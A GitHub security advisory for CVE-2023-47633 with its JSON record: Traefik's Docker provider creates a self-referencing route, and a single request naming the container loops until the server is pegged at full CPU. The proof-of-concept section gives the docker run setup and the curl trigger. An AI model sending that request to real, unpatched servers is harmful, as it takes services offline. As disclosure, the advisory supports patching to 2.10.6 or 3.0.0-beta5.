GHSA-6FWG-JRFW-FF7P
Vulnerability from github – Published: 2023-12-05 18:13 – Updated: 2023-12-05 18:13Summary
The traefik docker container uses 100% CPU when it serves as its own backend, which is an automatically generated route resulting from the Docker integration in the default configuration.
Details
While attempting to set up Traefik to handle traffic for Docker containers, I observed in the webUI a rule with the following information:
Host(traefik-service) | webwebsecure | traefik-service@docker | traefik-service
I assumed that this is something internal; however, I wondered why it would have a host rule on the web entrypoint configured.
So I have send a request with that hostname with curl -v --resolve "traefik-service:80:xxx.xxx.xxx.xxx" http://traefik-service. That made my whole server unresponsive.
I assume the name comes from a docker container with that name, traefik itself:
localhost ~ # docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d1414e74aec7 traefik:v2.10 "/entrypoint.sh trae…" 4 minutes ago Up 4 minutes 0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 127.0.0.1:8080->8080/tcp traefik.service
PoC
-
Start traefik with
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -p 80:80 --name foo -p 8080:8080 traefik:v2.10 --api.insecure=true --providers.docker -
curl -v --resolve "foo:80:127.0.0.1" http://foo
looks like this creates an endless loop of request.
Knowing the name of the docker container seems to be enough to trigger this, if the docker backend is used.
Impact
Server is unreachable and uses 100% CPU
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.0-beta5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-47633"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-05T18:13:53Z",
"nvd_published_at": "2023-12-04T21:15:34Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe traefik docker container uses 100% CPU when it serves as its own backend, which is an automatically generated route resulting from the Docker integration in the default configuration.\n\n### Details\n\nWhile attempting to set up Traefik to handle traffic for Docker containers, I observed in the webUI a rule with the following information:\n\n`Host(traefik-service) | webwebsecure | traefik-service@docker | traefik-service`\n\nI assumed that this is something internal; however, I wondered why it would have a host rule on the web entrypoint configured.\n\nSo I have send a request with that hostname with `curl -v --resolve \"traefik-service:80:xxx.xxx.xxx.xxx\" http://traefik-service`. That made my whole server unresponsive.\n\nI assume the name comes from a docker container with that name, traefik itself:\n```\nlocalhost ~ # docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\nd1414e74aec7 traefik:v2.10 \"/entrypoint.sh trae\u2026\" 4 minutes ago Up 4 minutes 0.0.0.0:80-\u003e80/tcp, :::80-\u003e80/tcp, 0.0.0.0:443-\u003e443/tcp, :::443-\u003e443/tcp, 127.0.0.1:8080-\u003e8080/tcp traefik.service\n```\n\n### PoC\n\n1. Start traefik with `docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -p 80:80 --name foo -p 8080:8080 traefik:v2.10 --api.insecure=true --providers.docker`\n\n2. `curl -v --resolve \"foo:80:127.0.0.1\" http://foo`\n\nlooks like this creates an endless loop of request.\n\nKnowing the name of the docker container seems to be enough to trigger this, if the docker backend is used.\n\n### Impact\n\nServer is unreachable and uses 100% CPU",
"id": "GHSA-6fwg-jrfw-ff7p",
"modified": "2023-12-05T18:13:54Z",
"published": "2023-12-05T18:13:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-6fwg-jrfw-ff7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47633"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.10.6"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.0.0-beta5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Traefik docker container using 100% CPU"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.